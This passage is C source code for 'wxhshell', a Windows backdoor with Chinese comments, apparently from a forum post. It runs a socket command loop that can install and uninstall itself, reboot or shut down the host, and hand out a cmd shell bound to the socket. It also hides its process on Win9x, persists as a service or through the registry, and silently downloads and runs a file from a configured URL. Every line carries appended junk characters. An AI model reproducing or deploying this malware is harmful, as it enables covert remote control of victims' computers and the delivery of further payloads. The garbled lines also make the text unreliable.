  case '?': { <eK F  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F Cg{!h  
    break; -Zd0[& ']  
  } 3 4CqLPg8  
  // 安装 rkh+$*t@i7  
  case 'i': { :hB/|H*=  
    if(Install()) ~#+ Hhc(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  +T02AS  
    else  Ew1> m'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'Y{fah  
    break; <z+5+h|^  
    } ^w'y>uFM  
  // 卸载 nn!W-Bsqjh  
  case 'r': { 6tBL?'pG  
    if(Uninstall()) H@o 3u>}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V(n7hpS  
    else qB PUB(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =Is.T  
    break; v:kTZB  
    } ["VUSa  
  // 显示 wxhshell 所在路径 )OxcJPo  
  case 'p': { -@f5d  
    char svExeFile[MAX_PATH]; eSNi6RvE  
    strcpy(svExeFile,"\n\r"); v {E~R  
      strcat(svExeFile,ExeFile); uQgv ;jsPz  
        send(wsh,svExeFile,strlen(svExeFile),0); Y8YNRyc=  
    break; JJ_77i  
    }  K9 h{sC  
  // 重启 A]^RV{P  
  case 'b': { ^\:"o  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $6Z@0H@X  
    if(Boot(REBOOT)) S?n,O+q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 60?/Z2w5  
    else { Oo<L~7B  
    closesocket(wsh); =z`GC1]bL  
    ExitThread(0); dV(61C0wn  
    } KLi&T mIB  
    break; D  /wX  
    } 5lehASBz  
  // 关机 Fy_D[g  
  case 'd': { kpFt  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); e7rD,`NiV  
    if(Boot(SHUTDOWN)) R >1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q))r lMo  
    else { ^ 'W<|  
    closesocket(wsh);  vU(2[  
    ExitThread(0); <pzCpF<  
    } _)AX/%^%  
    break; @}sxA9 a  
    } ;Gf,$dbWn  
  // 获取shell 3Q'Q %2  
  case 's': { Te&F2`vo  
    CmdShell(wsh); fHK`u'  
    closesocket(wsh); #qqIOjS^w  
    ExitThread(0); I6!~(ND7  
    break; ?86q8E3;&  
  } A"Q6GM2;Io  
  // 退出 LDilrG)  
  case 'x': { h8#14?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ft$@':F  
    CloseIt(wsh); 'a8{YT4  
    break; Fo  K!JX*  
    } X.^S@3[  
  // 离开 i> }P V  
  case 'q': { i}d^a28  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); a'3|EWS ?  
    closesocket(wsh); K1i@.`na/$  
    WSACleanup(); B.)!zv\{  
    exit(1); 53>y<  
    break; $J]VY;C!  
        } ,ru2C_LQ  
  } PX7@3Y  
  } X)P;UVR0  
[N] 5)n  
  // 提示信息 S3Q^K.e?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `1;m:,9  
} !kAjne8]d  
  } E8$k}I  
j0^%1  
  return; &z'N Q !uV  
} LHit9O[_/s  
&d1|B`gL|  
// shell模块句柄 glk-: #  
int CmdShell(SOCKET sock) ]Dj,8tf`H  
{ Aun X[X9  
STARTUPINFO si; l-?B1gd,l  
ZeroMemory(&si,sizeof(si)); ]mO$Tg&s~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X9ua&T2(l  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `cu W^/c  
PROCESS_INFORMATION ProcessInfo; %9 kOl  
char cmdline[]="cmd"; t}$WP&XRG<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); oll J#i9  
  return 0; O{YT6&.S0  
} -|Z[GN:  
#j!RbW  
// 自身启动模式 OFcL h  
int StartFromService(void) nd~cpHQR^  
{ zn!H&!8&  
typedef struct w +pK=R  
{ &d5n_:^  
  DWORD ExitStatus; K=S-p3\g  
  DWORD PebBaseAddress; !'yCB9]O  
  DWORD AffinityMask; VTM*=5|c   
  DWORD BasePriority; OAlV7cfD  
  ULONG UniqueProcessId; t(d$v_*y51  
  ULONG InheritedFromUniqueProcessId; g7Xjo )  
}   PROCESS_BASIC_INFORMATION; DcjF $E  
|AgdD  
PROCNTQSIP NtQueryInformationProcess; j%_{tB  
?%)G%2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;^fGQ]`4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; j.}@9  
|_fmbG  
  HANDLE             hProcess; hrT!S  
  PROCESS_BASIC_INFORMATION pbi; hh%f mc  
pK_n}QW  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Q:nBx[%  
  if(NULL == hInst ) return 0; 0j@nOj(3  
#ZzFAt  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); W>^WNo3YQ$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); yf 7Sz$Eq  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ">-J+ST%  
*/8b)I}yY  
  if (!NtQueryInformationProcess) return 0; OD;-0Bj  
PIo8mf/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); p= fj1*  
  if(!hProcess) return 0; i\h"N K  
U"SH fI:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,}8|[)"  
)\xDo<@  
  CloseHandle(hProcess); >0^oC[ B  
\:7G1_o  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n:TWZ.9  
if(hProcess==NULL) return 0; CP5vo-/)-  
x-hr64WFK  
HMODULE hMod;  /y2)<{{I  
char procName[255]; 2b&&3u8  
unsigned long cbNeeded; 3izGMH_`  
sN"JVJXi  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ah_,5Z@&R  
9i^dQV.U=  
  CloseHandle(hProcess); v|]1x2191  
7dg2-4  
if(strstr(procName,"services")) return 1; // 以服务启动 [unK5l4_!  
QGC%, F"+  
  return 0; // 注册表启动 Un~ }M/  
} >^fpQG  
`jI$>{oa  
// 主模块 +mgm39  
int StartWxhshell(LPSTR lpCmdLine) Es7+bFvsE8  
{ f!H~BMA+a  
  SOCKET wsl; w!GPPW(  
BOOL val=TRUE; )qbjX{GZ7  
  int port=0; -gq,^j5,  
  struct sockaddr_in door; |(evDS5  
F]fBFDk  
  if(wscfg.ws_autoins) Install(); .m;5s45O{  
r2h{#2  
port=atoi(lpCmdLine); X npn{  
OrG1Mfx&2%  
if(port<=0) port=wscfg.ws_port; w$`[C+L  
],?$&  
  WSADATA data; 3RbPc8($Y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; G (Ky7S Z  
! 0}SZ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %U<1]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &/\Q6$a  
  door.sin_family = AF_INET; l- mt{2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1xf Pe#  
  door.sin_port = htons(port); )XFaVkQ}  
I1Jhvyd?$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  K}OY!|  
closesocket(wsl); j=],n8_i  
return 1; Ra!Br6  
} D_)i%k\  
Yg~$1b@  
  if(listen(wsl,2) == INVALID_SOCKET) { A.8[FkiNmD  
closesocket(wsl); 8AGP*"gI  
return 1; 5`3Wua  
} >508-)'  
  Wxhshell(wsl); SJ%h.u@&@F  
  WSACleanup(); (X{o =co,  
llK7~uOC  
return 0; uXm_ pQpF  
%fF0<c^-U  
} Y3n6y+Uzk  
Y}n$s/O:u8  
// 以NT服务方式启动 DwNEqHi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) T {![a{  
{ lL$no7HBy  
DWORD   status = 0; } G3:QD  
  DWORD   specificError = 0xfffffff; 9&O7F}VP2  
?D,8lABkT  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1SwKd*aRR?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; phc9esz  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; JNx;/6'd,  
  serviceStatus.dwWin32ExitCode     = 0; qX%oLa  
  serviceStatus.dwServiceSpecificExitCode = 0; Y0 ?<~Gf  
  serviceStatus.dwCheckPoint       = 0; U;q GUqI  
  serviceStatus.dwWaitHint       = 0;  yh'uH  
G.B~n>}JU,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Lk>GEi|  
  if (hServiceStatusHandle==0) return; !5VT[w 1  
6!|/(~  
status = GetLastError(); oNFvRb2Rd  
  if (status!=NO_ERROR) ?]]7PEee*  
{ NGs@z^&V  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; J+:gIszsWT  
    serviceStatus.dwCheckPoint       = 0; |ZmWhkOX  
    serviceStatus.dwWaitHint       = 0; j96\({;k  
    serviceStatus.dwWin32ExitCode     = status; -"} mmTa*<  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6qF9+r&e ?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); h3YWqSj  
    return; ?H0"*8C?Y  
  } 5bHS|<  
gY/p\kwsj  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; H3Zs m)+:  
  serviceStatus.dwCheckPoint       = 0; J};=)xLX;  
  serviceStatus.dwWaitHint       = 0; Fs 95^T  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6p)dO c3L  
} wticA#mb  
>&?k^nI}J  
// 处理NT服务事件,比如:启动、停止 3o.9}`/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) RK\$>KFE  
{ wyC1M  
switch(fdwControl) ^)i1b:4  
{ C#tY};t  
case SERVICE_CONTROL_STOP: x:0nK,  
  serviceStatus.dwWin32ExitCode = 0; "b `R_gG9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Y$K[@_dv=  
  serviceStatus.dwCheckPoint   = 0; +hL%8CVU M  
  serviceStatus.dwWaitHint     = 0; ;UPI%DnE]  
  { nm{J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /s|4aro  
  } o"M h wh  
  return; 3OvQ,^[J4  
case SERVICE_CONTROL_PAUSE: ;cfmMt!QWJ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7:P+S%ZL  
  break; svj0;x5  
case SERVICE_CONTROL_CONTINUE: u~7 ,v  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~Kll.  
  break; )|Md"r_B  
case SERVICE_CONTROL_INTERROGATE: =H)"t:xE  
  break;  X0&[cyP!  
}; D%,AdR"m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fKQq]&~ H  
} Q3P*&6wA  
1 2y+g5b  
// 标准应用程序主函数 :J~sz)n4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) D)){"Q!b  
{ uNXKUJ V0  
R\ZyS )~l  
// 获取操作系统版本 _I A{I  
OsIsNt=GetOsVer(); e)): U  
GetModuleFileName(NULL,ExeFile,MAX_PATH); d7i 0'R  
W,-fnJk  
  // 从命令行安装 kr{eC/Q"  
  if(strpbrk(lpCmdLine,"iI")) Install(); m0[JiwPI  
)zYm]\@  
  // 下载执行文件 Pp ~:e}  
if(wscfg.ws_downexe) { p)y'a+|7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -V 'h>K  
  WinExec(wscfg.ws_filenam,SW_HIDE); (I0QwB  
} 8TV "9{ n  
?o883!&v  
if(!OsIsNt) { vC|V8ea  
// 如果时win9x,隐藏进程并且设置为注册表启动 us$=)m~v+  
HideProc(); T/Fj0'  
StartWxhshell(lpCmdLine); ;lU]ilYv  
} ")i>-1_H  
else "4[8pZO/  
  if(StartFromService()) i-E/#zni  
  // 以服务方式启动 FAbl5VW'  
  StartServiceCtrlDispatcher(DispatchTable); L.R4 iN  
else ^f_4w|u,+  
  // 普通方式启动 }Gi4`Es  
  StartWxhshell(lpCmdLine); [_w;=l0 ;  
S*9qpes-m|  
return 0; qdY*y&}"J  
}
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只看该作者 1 发表于: 2006-10-10
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